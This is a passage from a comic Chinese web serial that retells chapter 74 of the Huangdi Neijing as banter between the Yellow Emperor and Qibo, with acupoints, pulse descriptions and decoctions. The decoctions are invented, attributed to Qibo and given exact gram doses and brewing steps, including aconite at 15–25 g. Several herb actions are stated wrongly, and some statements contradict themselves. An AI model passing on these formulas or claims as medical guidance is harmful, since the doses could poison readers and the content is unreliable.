“要想治这病啊，咱们得先想想为啥会热过头。说白了，就是身体里的阴阳失调了，热气太多，得给它降降温。”歧伯爷爷顿了顿，继续说道，“咱们中医讲究的是‘药食同源’，所以呀，得从吃的上下功夫。” 说到这儿，歧伯突然话锋一转：“不过啊，我这可不是让你去吃冰淇淋、喝冰镇饮料哦！那些玩意儿虽然一时爽，但长久下来，可就把身体给搞坏了。” 那到底该吃啥呢？歧伯爷爷微微一笑，说：“你得吃点能清热泻火的东西，比如金银花、菊花、连翘这些。它们就像是身体里的‘灭火器’，能把那些多余的热气给灭掉。” “要是觉得吃药太苦，咱们还可以来点食疗。比如熬点绿豆汤喝喝，绿豆啊，那可是夏天的‘小甜心’，清热解暑的效果杠杠的！”歧伯说完，还不忘幽默一把。 除了吃的，歧伯还提到了按摩穴位。“你知道吗？咱们身上有些穴位就像是身体的‘开关’，按一按就能调节身体的平衡。”歧伯指了指自己的肚子，“比如这个‘中脘穴’，它就在肚脐上方四寸的地方，多揉揉它，能帮助消化，缓解肚子胀气的毛病。” “还有啊，这个‘合谷穴’，就在咱们大拇指和食指之间的‘虎口’位置，按一按它，能缓解头痛、发热的症状。你说神奇不神奇？”歧伯边说边比划着，仿佛在给我们上一堂生动的“穴位按摩课”。 当然啦，歧伯还提到了脉象。他说：“脉象啊，就像是身体的‘语言’，它能告诉我们身体出了什么问题。” “比如啊，要是脉跳得太快太猛，就像是在跟你赛跑似的，那可能就是身体里的热气太多了。这时候啊，你就得注意了，得赶紧给身体降降温了。” 岐伯继续说道：在那个遥远的古代，如果“岁太阴在泉”（就是天文术语啦，咱们可以理解为某个特定的年份，天地间的能量场有点特别），那草儿们就像打了鸡血一样，早早地就开始绿油油地疯长。为啥呢？因为湿气太重了，湿气这家伙一泛滥，整个世界就像被一层厚厚的雾霾笼罩，连山谷里的石头都仿佛被蒙上了一层湿漉漉的面纱，连颜色都变了，黄色的山谷看起来竟然有点发黑，你说神奇不神奇？ 这时候啊，人们就开始遭殃了。湿气太重，首先影响的就是脾胃，脾胃一弱，水湿就排不出去，结果呢，肚子里的水越积越多，就像喝饱了水的气球，稍微一动就“咕噜咕噜”响，心痛、耳聋也跟着来了。整个人感觉就像是被一团湿棉花堵住了一样，脑袋混混沌沌的，耳朵也像是被塞了耳塞，听啥都费劲。 更惨的是，喉咙也开始肿痛，咽口水都像是在吞刀片，这就是传说中的“喉痹”。还有啊，有的小伙伴会发现，哎呀，怎么下面出血了？这可不是好事，是湿气太重，影响了身体的正常循环。小肚子也开始隐隐作痛，肿得跟个小山丘似的，想上个厕所都费劲，那感觉，就像是膀胱被一块大石头压住了。 还有更绝的，头痛得像是要裂开一样，眼睛感觉快要掉出来了，脖子像被人硬生生拔高了几厘米，腰呢，弯一下都痛得要命，好像随时会折断。大腿转个弯都困难，膝盖那里像是被绑了个大结，小腿肚子也像是被人硬生生掰开了似的，那叫一个酸爽！ 好啦，说了这么多，咱们来点实际的，怎么对付这些湿气呢？别急，岐伯老祖宗早就给我们准备好了方子。 首先，咱们得祛湿，对吧？那就来个“祛湿汤”吧！这个方子啊，得用到茯苓、白术、猪苓、泽泻各10克，再加上桂枝6克，这五味药一起煮，就像给身体来了一场大扫除，把湿气统统赶出去！ 然后呢，咱们还得按摩按摩穴位，帮助身体更好地排湿。比如说，足三里穴，这可是个祛湿的大穴，每天按个几分钟，就像给身体开了一扇窗，让湿气随风而去。还有丰隆穴，也是祛湿的好帮手，按一按，感觉整个人都轻盈了不少呢！ 当然啦，说到脉象，这也是判断湿气的一个重要依据。湿气重的人，脉象往往比较濡滑，就像是摸到了一条湿漉漉的泥鳅，滑不溜手的。这时候啊，咱们就得更加注意身体的变化了，及时调整饮食和生活习惯，别让湿气继续肆虐。 岐伯接着悠悠地说：“哎呀，要是碰到那少阳之气在泉下作威作福的时候，火这家伙可就嚣张啦，简直就像野外的篝火晚会，火光冲天，热得你只想跳河，冷得你又想抱火炉，冷热交替，跟玩儿似的。” 咱们现代人一听，这不就是气候变化无常嘛！岐伯继续道：“这时候，老百姓可就惨咯，拉肚子拉得跟开了水龙头似的，还分什么红啊白的（注泄赤白，就是拉肚子带血丝或者黏液），小肚子疼得跟有人在里面打鼓，撒尿都跟红茶似的（溺赤），严重的呢，直接拉血（血便）！这时候啊，少阴经的毛病也跟着凑热闹，简直是雪上加霜。” 好家伙，这描述得也太生动了吧！咱们现代人一听，这不就是肠胃炎加尿路感染的节奏嘛！ 言归正传，岐伯要是开方子，那肯定是杠杠的！不过呢，咱们先把穴位转换成现代的，免得大家一头雾水。在古代，穴位名字都挺文艺的，比如“太冲”啊，“涌泉”啊，听起来就像是武侠小说里的绝世武功。但咱们今天不讲武功，讲医学！ 岐伯给出了一个调理方子，里面可能会提到“足三里”和“关元”这两个穴位。足三里，就是小腿外侧，膝盖骨下面三寸的地方，你找找看，是不是有个地方按起来酸酸涨涨的？对，那就是了！关元嘛，更简单，肚脐眼下面四横指的地方，那可是固本培元的好地方！ 不过，别急着动手按，岐伯的方子可不止按摩这么简单。咱们再来个方剂，就叫“降火止泻汤”吧！这方子啊，得用上黄连、黄芩、黄柏各10克，再加上茯苓、白术各15克，还有炙甘草5克。 制作方法嘛，简单得很，就像煮火锅一样，不过咱们这是健康火锅！把这些药材洗干净，丢进锅里，加水没过药材两三厘米，大火烧开，转小火慢慢炖个半小时到一小时，直到药水浓缩成一小碗，颜色金黄，香气扑鼻，就像古代宫廷里的秘制药膳一样。 喝的时候，记得要趁热，但别太烫，免得烫了嘴还怪我没提醒。这汤啊，喝下去，保证你肚子里的小火苗瞬间熄灭，拉肚子啥的，统统说拜拜！ 至于脉象嘛，岐伯肯定会说：“这时候的脉象啊，就像夏天的雨，忽快忽慢，忽大忽小，不稳定得很。”咱们现代人呢，可以理解为心跳不规律，一会儿快得像兔子，一会儿又慢得像蜗牛，跳得力度也是时强时弱。这时候啊，就得赶紧调理了，不然小心心脏也跟你一起“跳舞”哦！ 想象一下，你的心脏是个dj，在少阳在泉的时候，它突然决定开一场“蹦迪派对”，节奏快得让你怀疑人生，慢下来的时候又让你怀疑它是不是累了要罢工。这时候，“降火止泻汤”就像是派对的救火队员，一来就把这场混乱的派对给平息了，让你的心脏回归正常的节奏，从此过上安稳的小日子。 岐伯正襟危坐，一脸严肃地说：“哎，你们知道吗？当年岁阳明在泉的时候，那干燥的气息可嚣张了，整个天地就像被谁按了‘干燥键’，雾气蒙蒙的，但感觉特别清爽，就像你刚洗完脸没擦干，风一吹，哎呀，那个酸爽！” 这时候，你可能会想：这干燥气息跟咱们有啥关系呢？别急，岐伯接着说：“老百姓们可就遭殃了，一个个跟被点了‘干呕穴’似的，动不动就想吐，而且吐出来的东西还带着苦味，就像是喝了半杯咖啡没加糖。他们还不停地叹气，就像是考试没考好，被老师训了一顿，心里那个憋屈啊！” 说到这“叹气”，岐伯老先生还特意提到了现代医学里的“太息穴”（其实中医里并没有直接对应的穴位，但我们可以理解为与情绪调节相关的穴位，比如膻中穴）。他风趣地说：“你们要是觉得压力大，也可以多揉揉自己的‘太息穴’，说不定能缓解一下呢！不过啊，那时候的人们可没这意识，他们只是不停地叹气，结果心胁那里疼得要命，连翻个身都困难。” 岐伯老先生越说越起劲：“更严重的是，他们的喉咙干得要命，就像是吃了一大把沙子，喝水都不顶用。脸上呢，也像蒙了一层灰，看上去特别没精神，就像是连续加班一个月，都没时间洗脸一样。身上呢，更是干燥得不行，连点油光都没有，就像是沙漠里的仙人掌，摸上去都扎手。” 说到这“干燥得扎手”，岐伯突然话锋一转：“但是啊，奇怪的是，他们的脚外侧却热得要命，就像是穿了一双夏天的运动鞋，还跑了好几公里马拉松似的。这可真够奇怪的，上半身干燥得要命，下半身却热得不行，就像是身体内部在搞‘分裂’一样。” 听到这里，你是不是已经笑得合不拢嘴了？不过别急，岐伯还没讲完呢！他接着说：“所以啊，遇到这种情况，咱们得赶紧想办法。在古代啊，虽然没有现在这么多高科技的手段，但老祖宗们也有他们的智慧。比如啊，他们可能会用一些润燥的方子，比如那个‘润燥汤’。” 说到“润燥汤”，岐伯可是来了精神：“这方子啊，得用上当归、生地、熟地、白芍、秦艽、防风、甘草这些药材。你们想象一下啊，这些药材就像是身体里的‘湿润剂’，能帮咱们把身体里的干燥气息给赶走。而且啊，这方子里的药材用量也是有讲究的，比如当归啊，得用上那么15克，生地也得来个15克，熟地嘛，少一点，8克就够了。白芍、秦艽、防风各5克，甘草呢，就来个3克吧。把这些药材放在一起煮，煮出来的汤啊，就像是给身体喝的一杯‘滋润奶茶’，保证让你瞬间从‘沙漠模式’切换到‘绿洲模式’！” 当然啦，岐伯还提醒我们：“除了喝药汤啊，平时也得注意保养。比如啊，多喝水啊，多吃点滋润的食物啊，像是梨子、百合啥的。还有啊，别忘了多锻炼身体啊，让身体里的气血运行起来啊，这样才能更好地抵御那些干燥的气息啊！” 至真要大论篇第七十四（五） 有一天，黄帝又发问了：“岐伯啊，要是赶上那一年，太阳这家伙跑到地底下当‘在泉’大佬（在中医五行六气理论里，‘在泉’是个术语，咱们可以理解为影响这一年的地下能量场），还整得寒气四溢，冻得大家直哆嗦，这时候，咱们老百姓会咋样呢？” 岐伯捋了捋长胡子，慢悠悠地说：“哎呀，皇上您问得好！这寒气一霸道起来，那可不得了，整个世界都像被速冻了一样，气氛凝重得能让人心里发毛。老百姓们呢，就会感觉小肚子（咱们现代人说的下腹部）和蛋蛋（咳咳，这里用现代医学术语就是‘会阴区’）那儿，好像被冰块冻住了，又疼又紧。这股寒气还会顺着身体往上爬，拉扯着腰脊，疼得人们直不起腰来。更惨的是，它还能一路冲到心口窝，那感觉，就像是有人拿冰锥子戳你心脏，疼得你眼泪鼻涕一起流。有的朋友，可能还会因为寒气太猛，导致血管破裂，出点‘小红点’（其实就是皮下出血啦）。还有啊，喉咙那块儿，疼得跟吞刀片似的，下巴也跟着肿起来，跟河豚生气时鼓起的腮帮子有一拼！” 黄帝一听，这寒气也太嚣张了吧！赶紧追问：“那咱得怎么给百姓们治治啊？” 岐伯笑了笑，说：“治嘛，当然有招儿！不过首先得说清楚，穴位咱得换成现代的叫法，别整得跟穿越剧似的。比如说，要是感觉小肚子和会阴区不对劲儿，咱们可以按按‘曲骨穴’和‘中极穴’，这俩穴位就像是身体的小暖炉，能帮你驱散寒气。至于腰脊那块儿，不妨多揉揉‘肾俞穴’和‘命门穴’，这可是强肾壮阳的好帮手，让寒气无处遁形！” “至于药方嘛，咱们来个‘温阳散寒汤’怎么样？配料嘛，得有点讲究：熟地黄100克，肉桂25克，附子25克（附子可是个猛药，得小心用），当归50克，川芎25克，白芍50克，炙甘草25克。把这些药材放锅里，加水没过药材两指宽，大火烧开转小火慢慢炖，炖到水剩下原来的一半，过滤掉药渣，一天分三次喝。这汤啊，暖身又暖心，喝完保证你从头到脚都暖和和的，寒气都得绕道走！” 黄帝一听，这方子听起来就很滋补，不过又担心起来：“那这脉象上，有啥特别的表现吗？咱们也好提前预防啊！” 岐伯点头笑道：“脉象嘛，也是有讲究的。寒气太重的人，脉象往往会变得紧而迟，就像是冬天的河水，冻得邦邦硬，流动也慢了。这时候，你得仔细摸摸，感觉就像是你手伸进冰箱冷冻室，摸到的那块冻得硬邦邦的肉，既紧绷绷的，又慢悠悠的。遇到这样的脉象，可别不当回事儿，赶紧保暖、调理，别等到寒气把身体冻成‘冰棍’了才后悔哦！” 黄帝眉头紧锁，对着岐伯说：“岐伯啊，你说这治病救人的事儿，咱们得怎么搞定呢？” 岐伯一听，嘿，这可是个大话题，得好好聊聊。于是他清了清嗓子，开始了一段让人笑中带悟的医学讲解。 “陛下啊，您这问得可是太到位了！咱们这人体啊，就像个小宇宙，各种气儿都得平衡才行。要是风这家伙在内部捣乱了，咱们就用点辛凉的药材，比如薄荷啊、桑叶这些，给它降降温。再加点苦的，比如黄连，辅助一下。然后呢，再用点甘甜的，比如甘草，让它别那么急躁。最后，再来点辛的，比如麻黄，把风邪给赶出去！” 黄帝一听，点了点头：“嗯，有道理！那要是热邪在体内闹腾呢？” 岐伯笑了笑：“热邪啊，咱们就用咸寒的药材，比如芒硝、寒水石这些，给它来个透心凉。再加点甘苦的，比如黄芩、黄连，一苦一甜，平衡一下。然后呢，用酸的，比如乌梅，给它收收心。最后，再用点苦的，比如大黄，给它发发汗，把热邪给逼出去！” 黄帝一听，哈哈大笑：“你这药方，简直就是一场人体内的‘冰与火之歌’啊！” 岐伯也跟着笑了起来：“陛下说得是！那要是湿邪在体内捣乱呢？咱们就用苦热的药材，比如苍术、厚朴这些，给它去去湿。再加点酸的，比如山楂，辅助一下。然后呢，再用点苦的，比如苦参，给它燥燥湿。最后，再用点淡的，比如茯苓，把湿气给排出去！” 黄帝一听，眼睛一亮：“你这方法，简直就是给身体来了个‘除湿大作战’啊！” 岐伯点了点头：“没错！那要是火邪在体内闹腾呢？咱们就用咸冷的药材，比如海藻、玄参这些，给它降降火。再加点苦辛的，比如黄芩、柴胡，一苦一辛，平衡一下。然后呢，再用点酸的，比如五味子，给它收收心。最后，再用点苦的，比如龙胆草，给它发发汗，把火邪给逼出去！” 黄帝一听，笑得前仰后合：“你这方法，简直就是给身体来了个‘灭火器’啊！” 岐伯也跟着笑了起来：“陛下说得太对了！那要是燥邪在体内捣乱呢？咱们就用苦温的药材，比如杏仁、款冬花这些，给它润润燥。再加点甘辛的，比如甘草、生姜，一甘一辛，平衡一下。然后呢，再用点苦的，比如大黄，给它通通便，把燥邪给排出去！” 黄帝一听，竖起了大拇指：“你这方法，简直就是给身体来了个‘润燥小能手’啊！” 岐伯谦虚地笑了笑：“陛下过奖了！那要是寒邪在体内捣乱呢？咱们就用甘热的药材，比如附子、干姜这些，给它去去寒。再加点苦辛的，比如细辛、麻黄，一苦一辛，平衡一下。然后呢，再用点咸的，比如芒硝，给它泻泻火。最后，再用点辛的，比如桂枝，给它润润气。再用点苦的，比如黄芩，给它坚固一下身体！” 黄帝一听，哈哈大笑：“你这方法，简直就是给身体来了个‘驱寒小分队’啊！” 岐伯也跟着笑了起来：“陛下说得太好了！其实啊，咱们这治病救人的事儿，就像打仗一样，得知道敌人的弱点，才能一招制敌！而这药材啊，就是咱们的武器库，得灵活运用才行！” 黄帝坐在龙椅上，眉头紧锁，似乎在思考着什么宇宙级难题。他转头问岐伯：“岐伯啊，这天气的变化到底是个啥情况？咱们能不能给它来个深度剖析？” 岐伯一听，立马来了精神，毕竟这可是他的专业领域嘛！他清了清嗓子，开始了他的“天气大解密”：“哎，陛下，您问对人啦！要是厥阴风木之气当令，那可是风起云涌的节奏啊！风一吹，天上就像蒙了一层灰布，云啊雾啊都乱成了一锅粥。冬天本应寒冷，可这时候春天的气息却提前来了，连河水都不结冰了。老百姓们可就遭殃了，胃啊、心啊那块儿疼得厉害，还往两边肋骨上窜，吃东西咽不下，喉咙像被堵住了一样，舌头僵硬，吃点东西就想吐，拉肚子、肚子胀，大便还稀得跟粥似的。更惨的是，连冬眠的小虫子都不愿意出来，你说这得多冷啊！其实啊，这病根儿在脾上。要是冲阳穴（现代医学称为足阳明胃经的原穴，大致在脚背的最高处，第二、三趾缝和足背连线的交点）没动静了，那就麻烦了，基本上是回天无力了。” 黄帝一听，惊得下巴都快掉下来了：“这么严重？那接下来呢？” 岐伯接着说：“别急，还有呢！要是少阴君火之气当令，那可是热得让人直翻白眼的节奏！火势汹汹，到处烧得旺旺的。老百姓们就惨了，胸口像有一团火在烧，喉咙干得能冒烟，右边肋骨那块儿胀得慌，皮肤也火辣辣地疼。一会儿冷一会儿热，还咳喘不停。这时候，大雨说来就来，有的人甚至咳出血来，鼻子出血，打喷嚏，呕吐，连尿的颜色都变了。再严重点，那可就是满身长疮，肿得跟馒头似的，肩膀、后背、胳膊肘子，还有脖子下面那块儿，疼得要命。心里堵得慌，肺也好像被什么压着，肚子胀得跟气球似的，喘不上气来。这病根儿在肺上。要是尺泽穴（现代医学称为手太阴肺经的合穴，大致在肘横纹中，肱二头肌腱桡侧凹陷处）没动静了，那也是凶多吉少啊！” 黄帝听得目瞪口呆，心想：这天气变化还真不是盖的，直接影响人体健康啊！ 咱们再来聊聊这穴位的事儿。冲阳穴，那可是胃的“大管家”，要是它罢工了，胃就得乱套了。想象一下，你的胃突然失去了指挥，是不是就像一盘散沙，啥毛病都来了？而尺泽穴呢，它是肺的“守门员”，要是它不管了，肺就得乱成一团麻。所以啊，咱们平时得多揉揉这些穴位，给它们加加油，让它们好好工作！ 至于方剂嘛，比如，对于那个厥阴风木导致的脾胃问题，咱们可以来个“健脾祛风汤”。配方嘛，就来个白术10克（健脾），防风10克（祛风），茯苓10克（利湿），陈皮5克（理气），甘草5克（调和药性）。把这些药材放到锅里，加水没过药材，大火烧开转小火煮个半小时，滤掉药渣，趁热喝上一碗，保证你胃里暖暖的，很舒服！ 至于少阴君火导致的肺热问题嘛，咱们可以来个“清肺降火饮”。配方是：黄芩10克（清热），桑白皮10克（清肺），麦冬10克（润肺），桔梗5克（宣肺），甘草5克（调和药性）。同样地，煮上一锅，喝上一碗，保证你喉咙不再干痒，咳喘也减轻了！ 当然啦，这脉象的事儿也得说说。咱们中医讲究望闻问切，这切脉可是个技术活。比如，那个厥阴风木导致的脾胃问题，脉象往往是沉而弦的，就像一根紧绷的弦，轻轻一拨就能听到“嗡嗡”的声音。而少阴君火导致的肺热问题呢，脉象往往是洪大而数的，就像夏天的雨，又大又急。 岐伯又继续说道：“嘿，陛下，注意了！太阴司天，湿淫所胜，那可热闹了！” 首先，这“沉阴且布”，就是说，天空就像被一块超级大的湿抹布盖住了，整天阴沉沉的，连太阳公公都躲在家里不出来。然后呢，“雨变枯槁”，听起来很矛盾对吧？其实意思是雨下得太多，反而把地里的庄稼都给泡坏了，就像你喝水喝到撑，结果反而觉得渴了一样。 接下来，人们就开始遭殃了。“胕肿骨痛”，哎呀，就是说你的小腿啊、脚踝啊，莫名其妙地就肿了起来，一按一个坑，还伴随着骨头疼，就像是被一群小精灵拿着小锤子敲了个遍。“阴痹”，这个更有趣，就像是身体里藏了个隐形的小恶魔，你摸不到它，但它能让你腰啊、背啊、头啊、脖子啊，疼得死去活来，时不时还给你来个眩晕套餐，让你感受一下“天旋地转”的美妙。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 更惨的是，“大便难”，嗯，这个就不需要过多解释了，想想都痛苦。“阴气不用”，就是说你的身体里的“小太阳”被湿气压制了，明明肚子饿得咕咕叫，却一点食欲都没有，就像是看到一桌美食，却发现自己的嘴巴被强力胶粘住了。 最夸张的是，“咳唾则有血”，咳咳两声，竟然还能咳出血来，这可把人吓坏了，感觉自己随时都要变成武侠小说里的大侠，内功深厚到吐血的境界了。还有啊，“心如悬”，就是心里慌慌的，像是被一根隐形的线吊在半空中，下不来也上不去，别提多难受了。 岐伯还说了，这一切的病根啊，都在肾上。肾是咱们身体的“小水库”，要是被湿气给侵占了，那可就麻烦大了。特别是那个“太谿穴”（现代对应的是“太溪穴”），这可是肾经上的大穴，要是它“罢工”了，那可真是“死不治”的节奏啊！不过别担心，岐伯给了我们一个药方，咱们可以这样配置： 祛湿补肾神方，材料：黄芪30克（相当于古代6两，让你力气大如牛），茯苓25克（5两，利水消肿小能手），白术20克（4两，健脾除湿必备），山药30克（6两，补肾益气好帮手），枸杞15克（3两，明目养肾小甜心），再加上一小把黑豆，大概20克（4两，补肾又乌发）。 做法嘛，超级简单，就像炖肉的配方一样，把这些材料洗干净，放进砂锅里，加上足够的水，大火烧开，转小火慢慢炖个一两个小时，直到汤色变得金黄诱人，香气扑鼻。这时候，你可以关掉火，让它稍微凉一凉，然后一口气喝下去，保证你全身暖洋洋，湿气跑光光！ 当然啦，说到脉象，岐伯那个时代可是没有心电图机的，他们靠的是手指头的触感来判断。如果湿气太重，脉象就会变得又沉又迟，就像是你在水里摸鱼，那感觉，啧啧，别提多难受了。 至真要大论篇第七十四（六） 岐伯悠悠地说：“要是少阳这位老兄掌管了天空（司天），那可就热闹了，为啥？因为火这家伙就会趁机作乱，四处溜达，搞得整个世界跟烤炉似的，温暖得让人直呼‘妈耶’！这不，金元素（代表肺和呼吸系统）就不干了，心想：‘我这凉爽小公举的地位何在？’于是，平衡就被打破了。” 老百姓们呢？哎，可就惨咯！头疼得跟戴了个紧箍咒似的，一会儿发热，一会儿又冷得直哆嗦，跟中了疟疾似的。这还不算，热气往上冲，皮肤也跟着遭殃，火辣辣地疼，肤色还渐渐变成了黄赤色，就像是刚从非洲旅游回来，还没晒均匀呢！ 更逗的是，这热气还能变身，从火变成水，跑到人身体里捣乱。结果呢，身体啊，脸啊，手臂啊，都肿得跟吹气球一样，肚子也圆滚滚的，像怀了个哪吒。呼吸也变得困难，得仰着头喘气，就像是在跟重力做斗争。上厕所吧，要么拉肚子拉得跟水一样，要么便秘得跟石头一样，关键是还夹杂着红白色的不明物体，这画面，自行脑补吧！ 然后呢，皮肤上还会长疮长疡，咳嗽起来还可能吐血，心里烦得跟有只猫在挠似的，胸口像有一团火在烧，严重的时候，鼻子出血，跟开了水龙头似的，止都止不住。这病啊，根儿在肺上，肺君表示：“我也很无奈啊，摊上这么个邻居！” 如果这时候，你发现天府穴（现代穴位名，就在手臂上，大概是你拜拜时手臂弯曲的最高点那里）的脉象弱得跟蚊子叫一样，甚至没了动静，那可就得小心了，因为这可能是个不祥之兆，古代大神们说：“天府绝，死不治。”听起来是不是很吓人？但别怕，咱们现代人讲究科学，及时就医，还是有救滴！ 说到这里，不得不提一句，有个方子叫“清凉润肺汤”，专门对付这种火大伤肺的情况。这个方子得包含哪些宝贝？ 首先，得有金银花吧，清热的小能手，大概来个30克，让热气退散！再来点麦冬，润肺止咳，20克足够，让你的肺君喝上滋润的小甜水。百合也不能少，15克，清心安神，让你的心情不再烦躁。还有连翘，清热解毒，25克，帮你把体内的毒素一锅端！最后，来点甘草，10克，调和药性，让大伙儿和睦相处。 熬制方法嘛，简单得很，把这些药材洗干净，放进砂锅里，加水没过药材两指宽，大火烧开转小火，慢慢炖上个一两个小时，直到药汤变得浓郁，香气四溢，就可以出锅啦！记得饭后半小时喝，效果杠杠的！ 至于脉象嘛，咱们也来聊聊。中医里的脉象啊，就像是身体的语言，每一种脉象都在诉说着不同的故事。比如这个情况下，如果肺脉（寸口脉的右寸）跳得又快又急，像是要逃跑似的，那就是肺在喊：“救命啊，我快被烧熟了！”这时候，咱们就得赶紧想办法给它降降温，不然，肺君真的就要“罢工”了！ 黄帝心情挺好，就对身边的岐伯说：“嘿，岐伯啊，给我科普一下阳明司天那档子事儿呗！”岐伯一听，心想这黄帝老爷子今儿个怎么突然对天文医学感兴趣了？不过既然老大发话了，那就得好好讲讲。 岐伯清了清嗓子，开始娓娓道来：“这阳明司天啊，那可是个干燥得要命的主儿。它要是发威了，咱们大自然里的树木啊，就得推迟开花，小草们也得晚点儿冒头。为啥呢？还不是因为这干燥的气息把它们的生长节奏都给打乱了！” 黄帝一听，觉得挺有意思，继续追问：“那对人体有啥影响呢？”岐伯摇了摇头，叹了口气说：“影响可大了去了！你看啊，这干燥的气息要是太过了，咱们人体的筋骨就会出问题，老百姓们啊，就容易得左肋下疼痛的病。这还不算完，要是寒气再往里一钻，嘿，那可就得了疟疾了！那症状啊，一会儿冷得直哆嗦，一会儿热得跟蒸笼似的。” 黄帝听得津津有味，岐伯继续往下说：“而且啊，这阳明司天的时候，天气会突然变得特别冷，跟变了脸似的。这时候啊，人们就容易咳嗽，肚子里还咕噜咕噜响，拉肚子拉得跟水似的。这种症状啊，咱们古人给它起了个名儿，叫‘木敛’。为啥叫‘木敛’呢？你看啊，树木都因为干燥而收敛了，人体也一样啊！” 黄帝听了哈哈大笑：“你这解释挺逗啊！那还有啥呢？”岐伯接着说：“还有啊，这时候的草木啊，下面的根还生机勃勃呢，上面的叶子却已经焦黄了。人要是这时候得病啊，心胁部会突然疼得要命，连翻身都翻不了。喉咙干得跟旱地的裂缝似的，脸上还灰扑扑的像蒙了一层灰。腰也疼得厉害，男人们啊，容易得疝气，女人们呢，小腹也会隐隐作痛。” 黄帝听得一愣一愣的，岐伯又补充说：“还有啊，这时候人们的眼睛也会变得模糊不清，眼角还容易发炎。皮肤上呢，会长疮、长痤疮、长痈肿。就连那些冬眠的小虫子啊，也会因为气候异常而提前出来活动。这些症状啊，说到底啊，都是肝脏的问题！” 黄帝一听，顿时觉得肝颤了一下：“这么严重啊！那有没有什么办法能治呢？”岐伯点了点头：“当然有啦！不过啊，要是太冲脉这个穴位的气血断绝了，那就神仙难救了！” 黄帝一听，连忙追问：“那太冲脉是哪个穴位啊？现代咋叫？”岐伯解释道：“太冲啊，就是咱们现在说的足厥阴肝经上的一个重要穴位，位置在脚背上，第一、二跖骨结合部之前的凹陷处。这个穴位啊，可是肝经的原穴，要是它没气了，那肝脏的问题可就大了！” 黄帝一听，吓得赶紧摸了摸自己的脚背：“那我得好好保护这个穴位啊！对了，你说有没有啥方子能预防或者治疗这些症状呢？”岐伯想了想，说：“有啊，咱们可以搞个‘润燥汤’来喝喝。” 黄帝一听有方子，眼睛一亮：“快说说咋做？”岐伯于是娓娓道来：“这润燥汤啊，得用生地黄5克，熟地黄5克，天门冬5克，麦门冬5克，当归5克，白芍药5克，秦艽5克，黄柏5克，防风5克，甘草3克。把这些药材啊，都放到锅里，加水煎成汤，然后喝下去就好啦！” 黄帝一听，觉得挺简单：“这方子有啥讲究没？”岐伯解释道：“这方子啊，主要是滋阴润燥、养血祛风的。生地黄、熟地黄能补肾填精；天门冬、麦门冬能润肺清心；当归、白芍药能养血柔肝；秦艽、黄柏能清热燥湿；防风能祛风解表；甘草呢，就是调和诸药的啦！” 黄帝一听，觉得挺有道理：“那脉象上有啥变化没？”岐伯点了点头：“有啊！阳明司天的时候啊，人的脉象往往会变得弦细而涩。弦细呢，说明肝气不舒；涩呢，说明血行不畅。所以啊，咱们得赶紧滋阴润燥、养血祛风才行！” 黄帝说：“嘿，岐伯，我这心里头啊，就像揣了个十万个为什么，特别想知道那太阳司天的时候，是个啥光景？” 岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得可是够有水平的！太阳司天的时候，那可是寒气当道，冷得跟冰箱里刚拿出来似的。你想啊，连太阳都冻得直哆嗦，咱们这地面上能暖和吗？所以啊，那寒气嗖嗖地往身体里钻，血都冻得快凝固了，一不小心，嘿，痈啊疡啊就找上门来了，就像是身上长了个个小冰山似的。 老百姓这时候可遭殃了，心绞痛那是常有的事，疼得跟有人拿锥子扎似的。有的人呢，一激动，呕血、拉肚子、流鼻血，那场面，啧啧，跟拍武侠剧似的。情绪也变得跟六月的天一样，说变就变，一会儿哭一会儿笑的，时不时还头晕目眩，感觉整个世界都在旋转，好像下一秒就要和地球说拜拜了。 更神奇的是，这时候要是来个晴天霹雳，或者突然下起冰雹，你可别惊讶，这都是太阳司天闹的。人们呢，胸啊腹啊胀得跟怀了双胞胎似的，手热得跟烤红薯，胳膊肘还抽筋，腋下肿得跟塞了个馒头，心脏呢，砰砰砰跳得跟要跳出胸膛似的，胃啊胸啊，感觉就像是被一万只蚂蚁在爬，痒得要命又挠不着。 脸呢，红得跟猴屁股似的，眼睛黄得跟铜铃，喉咙干得跟旱了三个月的大地，不停地打嗝，喝水都不解渴。这时候啊，病情其实已经深入到心了，得赶紧治。要是神门穴（现代对应穴位为心经的原穴——神门，位于手腕横纹内侧端，小指一侧的凹陷处）那儿没动静了，那就完了，神仙也难救咯！所以说啊，看身体的哪个部位动气，就能知道是哪个脏腑出了问题，这可是咱们老祖宗留下来的智慧。” 黄帝一听，眼睛一亮，说：“岐伯，你这解释得太生动了，我感觉自己好像已经置身在那个寒冷的太阳司天里了！不过啊，我还是想知道，那时候的人们要是病了，该吃什么药呢？” 岐伯摸了摸下巴上的小胡子，笑道：“黄帝啊，你这问题问得好！那时候啊，人们会用一种叫做‘温阳散寒汤’的方子。这方子啊，简单又实用，就像是你冬天里的一把火，暖洋洋的。 方子呢，是这样的：附子15克，干姜15克，炙甘草15克，肉桂10克，吴茱萸5克。你看，附子是大热之物，就像是冬天里的小太阳，能把你体内的寒气给逼出去；干姜呢，也是暖胃驱寒的高手；炙甘草呢，就像是和事佬，调和各种药材，让它们别打架；肉桂和吴茱萸呢，那可是温阳的绝配，能让你的身子骨暖和起来。 把这些药材放到一起，加水煮，煮得浓浓的，就像是一锅浓汤，喝下去，保证你全身暖洋洋的，那些寒气啊，早就跑得无影无踪了！” 黄帝一听，笑得合不拢嘴，说：“岐伯，你这方子说得我都馋了，感觉像是冬天里的一锅热火锅啊！不过啊，我还是想知道，那时候的人们要是病了，脉象会是怎样的呢？” 岐伯哈哈一笑，说：“黄帝啊，你这问题问得真是细致入微啊！那时候啊，人们的脉象就像是冬天的河流，又细又紧，就像是被冻住了一样。你要是摸到了这样的脉象，那就得小心了，说明寒气已经深入骨髓了。所以啊，咱们中医讲究的就是‘望闻问切’，通过这四种方法，就能知道一个人的身体状况了。” 黄帝听完，点了点头，说：“岐伯，你这解释得太清楚了，我感觉自己就像是上了一堂生动的中医课啊！不过啊，我还是想提醒你一句，咱们这可是在给读者讲解啊，得让他们听得懂，还得让他们乐呵乐呵的！” 岐伯一听，眼睛一亮，说：“黄帝啊，你这提醒得好！那我就再来一段讲解吧！” 于是，岐伯清了清嗓子，开始讲了起来：“黄帝啊，你想啊，那时候的太阳司天，就像是咱们现代人玩的一个游戏——‘冰冻大冒险’！人们呢，就像是游戏里的主角，要在寒冷的环境里寻找温暖，一不小心，就会被寒气给冻住，就像是被施了魔法似的。 所以啊，那时候的人们啊，要是得了病，脉象就像是被冻住的河流，又细又紧。咱们中医呢，就像是游戏里的救星，通过望闻问切，就能找到病因，然后开出药方，就像是给主角送上了一件温暖的披风，让他们能够继续冒险下去！ 